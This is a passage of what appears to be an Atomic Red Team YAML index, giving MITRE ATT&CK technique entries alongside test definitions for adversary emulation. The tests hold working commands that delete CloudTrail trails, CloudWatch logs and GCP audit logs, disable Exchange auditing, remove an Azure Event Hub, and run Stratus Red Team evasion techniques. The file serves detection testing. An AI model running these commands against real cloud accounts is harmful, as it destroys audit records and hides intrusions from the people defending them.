9c10dc6b-20bd-403a-8e67-50ef7d07ed4e description: 'Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail ' supported_platforms: - iaas:aws input_arguments: cloudtrail_name: description: Name of the cloudTrail type: string default: redatomictesttrail s3_bucket_name: description: Name of the bucket type: string default: redatomic-test region: description: Name of the region type: string default: us-east-1 dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS default profile using: aws configure ' - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: "echo Please install the terraform and configure your aws default profile \n" - description: 'Check if the dependency resources are already present. ' prereq_command: 'if [ -f "$PathToAtomicsFolder/T1562.008/src/T1562.008-1/terraform.tfstate" ]; then exit 0; else exit 1; fi; ' get_prereq_command: | cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-1/" terraform init terraform apply -auto-approve executor: command: | aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name} --is-multi-region-trail --region #{region} aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region} aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region} cleanup_command: | cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-1/" terraform destroy -auto-approve name: sh elevation_required: false - name: Azure - Eventhub Deletion auto_generated_guid: 5e09bed0-7d33-453b-9bf3-caea32bff719 description: | Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about. supported_platforms: - iaas:azure input_arguments: username: description: Azure username type: string default: password: description: Azure password type: string default: event_hub_name: description: Name of the eventhub type: string default: test_eventhub resource_group: description: Name of the resource group type: string default: name_space_name: description: Name of the NameSpace type: string default: dependency_executor_name: powershell dependencies: - description: 'Install-Module -Name Az ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install the terraform. ' - description: 'Check if the user is logged into Azure. ' prereq_command: 'az account show ' get_prereq_command: "echo Configure your Azure account using: az login. \n" - description: 'Create dependency resources using terraform ' prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1562.008/src/T1562.008-2/terraform.tfstate" ){ exit 0 } else {exit 1}} catch {exit 1} ' get_prereq_command: | cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-2/" terraform init terraform apply -auto-approve executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-AzureAD -Credential $creds Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name} name: powershell elevation_required: false cleanup_command: | cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-2/" terraform destroy -auto-approve - name: Office 365 - Exchange Audit Log Disabled auto_generated_guid: 1ee572f3-056c-4632-a7fc-7e7c42b1543c description: | You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox. Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline. https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml supported_platforms: - office-365 input_arguments: username: description: office-365 username type: string default: password: description: office-365 password type: string default: dependency_executor_name: powershell dependencies: - description: 'ExchangeOnlineManagement PowerShell module must be installed ' prereq_command: | $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0} get_prereq_command: "Install-Module -Name ExchangeOnlineManagement \nImport-Module ExchangeOnlineManagement\n" executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False cleanup_command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True name: powershell elevation_required: false - name: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus auto_generated_guid: a27418de-bdce-4ebd-b655-38f11142bf0c description: 'Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/ ' supported_platforms: - linux - macos - iaas:aws input_arguments: stratus_path: description: Path of stratus binary type: path default: "$PathToAtomicsFolder/T1562.008/src" aws_region: description: AWS region to detonate type: string default: us-west-2 dependency_executor_name: sh dependencies: - description: 'Stratus binary must be present at the (#{stratus_path}/stratus) ' prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi; ' get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n" - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.defense-evasion.cloudtrail-event-selectors\necho \"starting detonate\"\n./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force\n" cleanup_command: | export AWS_REGION=#{aws_region} echo "Cleanup detonation" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus* name: sh elevation_required: false - name: AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus auto_generated_guid: 22d89a2f-d475-4895-b2d4-68626d49c029 description: 'This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/ ' supported_platforms: - linux - macos input_arguments: stratus_path: description: Path of stratus binary type: path default: "$PathToAtomicsFolder/T1562.008/src" aws_region: description: AWS region to detonate type: string default: us-west-2 dependency_executor_name: sh dependencies: - description: 'Stratus binary must be present at the (#{stratus_path}/stratus) ' prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi; ' get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n" - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule\necho \"starting detonate\"\n./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force\n" cleanup_command: | export AWS_REGION=#{aws_region} echo "Cleanup detonation" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus* name: sh elevation_required: false - name: AWS - Remove VPC Flow Logs using Stratus auto_generated_guid: 93c150f5-ad7b-4ee3-8992-df06dec2ac79 description: 'This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/ ' supported_platforms: - linux - macos - iaas:aws input_arguments: stratus_path: description: Path of stratus binary type: path default: "$PathToAtomicsFolder/T1562.008/src" aws_region: description: AWS region to detonate type: string default: us-west-2 dependency_executor_name: sh dependencies: - description: 'Stratus binary must be present at the (#{stratus_path}/stratus) ' prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi; ' get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n" - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.defense-evasion.vpc-remove-flow-logs\necho \"starting detonate\"\n./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force\n" cleanup_command: | export AWS_REGION=#{aws_region} echo "Cleanup detonation" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus* name: sh elevation_required: false - name: AWS - CloudWatch Log Group Deletes auto_generated_guid: 89422c87-b57b-4a04-a8ca-802bb9d06121 description: "Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion\n" supported_platforms: - iaas:aws input_arguments: cloudwatch_log_group_name: description: Name of the cloudWatch log group type: string default: log-test region: description: Name of the region type: string default: us-east-1 dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: | aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo "*** Log Group Created ***" aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo "*** Log Group Deleted ***" cleanup_command: name: sh elevation_required: false - name: AWS CloudWatch Log Stream Deletes auto_generated_guid: 33ca84bc-4259-4943-bd36-4655dc420932 description: "Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html\n" supported_platforms: - iaas:aws input_arguments: cloudwatch_log_group_name: description: Name of the cloudWatch log group type: string default: test-logs cloudwatch_log_stream_name: description: Name of the cloudWatch log stream type: string default: '20150601' region: description: Name of the region type: string default: us-west-2 dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: | aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo "*** Log Group Created ***" aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} echo "*** Log Stream Created ***" aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} echo "*** Log Stream Deleted ***" aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo "*** Log Group Deleted ***" cleanup_command: name: sh elevation_required: false - name: Office 365 - Set Audit Bypass For a Mailbox auto_generated_guid: c9a2f6fe-7197-488c-af6d-10c782121ca6 description: | Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box. https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps supported_platforms: - office-365 input_arguments: username: description: office-365 username type: string default: o365_user_test password: description: office-365 password type: string default: o365_password_test target_email: description: office-365 target_email type: string default: o365_email_test dependency_executor_name: powershell dependencies: - description: 'ExchangeOnlineManagement PowerShell module must be installed ' prereq_command: | $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0} get_prereq_command: "Install-Module -Name ExchangeOnlineManagement \nImport-Module ExchangeOnlineManagement\n" executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $true cleanup_command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $false Disconnect-ExchangeOnline -Confirm:$false name: powershell elevation_required: false - name: GCP - Delete Activity Event Log auto_generated_guid: d56152ec-01d9-42a2-877c-aac1f6ebe8e6 description: "GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied.\nAn adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. \n\nThis Atomic attempts to delete the Activity Event log. An event is generated under the method name of `google.logging.v2.LoggingServiceV2.DeleteLog` with a Serverity of `ERROR`.\n" supported_platforms: - iaas:gcp input_arguments: project-id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-project-1 executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' T1564.003: technique: modified: '2024-04-13T14:28:20.651Z' name: 'Hide Artifacts: Hidden Window' description: "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Travis Smith, Tripwire - Mark Tsipershtein x_mitre_deprecated: false x_mitre_detection: Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'Script: Script Execution' type: attack-pattern id: attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0 created: '2020-03-13T20:26:49.433Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/003 external_id: T1564.003 - source_name: Hidden VNC description: Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023. url: https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html - source_name: Anatomy of an hVNC Attack description: Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023. url: https://securityintelligence.com/anatomy-of-an-hvnc-attack/ - source_name: Antiquated Mac Malware description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - source_name: PowerShell About 2019 description: Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019. url: https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1564.003 atomic_tests: - name: Hidden Window auto_generated_guid: f151ee37-9e2b-47e6-80e4-550b9f999b7a description: | Launch PowerShell with the "-WindowStyle Hidden" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden. Upon execution a hidden PowerShell window will launch calc.exe supported_platforms: - windows input_arguments: powershell_command: description: Command to launch calc.exe from a hidden PowerShell Window type: string default: powershell.exe -WindowStyle hidden calc.exe executor: command: 'Start-Process #{powershell_command} ' name: powershell - name: Headless Browser Accessing Mockbin auto_generated_guid: 0ad9ab92-c48c-4f08-9b20-9633277c4646 description: | The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs. The default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view. Reference: https://cert.gov.ua/article/5702579 supported_platforms: - windows input_arguments: bin_id: description: Mockbin.org BIN ID type: string default: f6b9a876-a826-4ac0-83b8-639d6ad516ec browser: description: Browser to use (msedge, chrome, firefox) type: string default: chrome executor: command: 'start "" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id} ' cleanup_command: 'taskkill /im #{browser} /f ' name: command_prompt T1556.009: technique: modified: '2024-04-18T20:53:46.175Z' name: Conditional Access Policies description: "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Gavin Knapp - Joshua Penny x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - SaaS - IaaS x_mitre_version: '1.0' x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Cloud Service: Cloud Service Modification' type: attack-pattern id: attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae created: '2024-01-02T13:43:37.389Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/009 external_id: T1556.009 - source_name: AWS IAM Conditions description: 'AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.' url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html - source_name: GCP IAM Conditions description: Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024. url: https://cloud.google.com/iam/docs/conditions-overview - source_name: JumpCloud Conditional Access Policies description: 'JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.' url: https://jumpcloud.com/support/get-started-conditional-access-policies - source_name: Microsoft Conditional Access description: Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024. url: https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview - source_name: Okta Conditional Access Policies description: Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024. url: https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1578.002: technique: x_mitre_platforms: - IaaS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c type: attack-pattern created: '2020-05-14T14:45:15.978Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1578.002 url: https://attack.mitre.org/techniques/T1578/002 - source_name: Mandiant M-Trends 2020 url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. - source_name: AWS CloudTrail Search url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/ description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020. - source_name: Azure Activity Logs url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020. - source_name: Cloud Audit Logs url: https://cloud.google.com/logging/docs/audit#admin-activity description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020. modified: '2022-04-25T14:00:00.188Z' name: Create Cloud Instance description: |- An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020) Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity. In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs) x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Instance: Instance Creation' - 'Instance: Instance Metadata' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1055.009: technique: x_mitre_platforms: - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591 type: attack-pattern created: '2020-01-14T01:34:10.588Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.009 url: https://attack.mitre.org/techniques/T1055/009 - url: http://hick.org/code/skape/papers/needle.txt description: skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. source_name: Uninformed Needle - source_name: GDS Linux Injection url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020. - source_name: DD Man url: http://man7.org/linux/man-pages/man1/dd.1.html description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020. modified: '2021-04-29T14:49:39.188Z' name: Proc Memory description: "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_defense_bypassed: - Application control - Anti-virus spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1601.001: technique: x_mitre_platforms: - Network 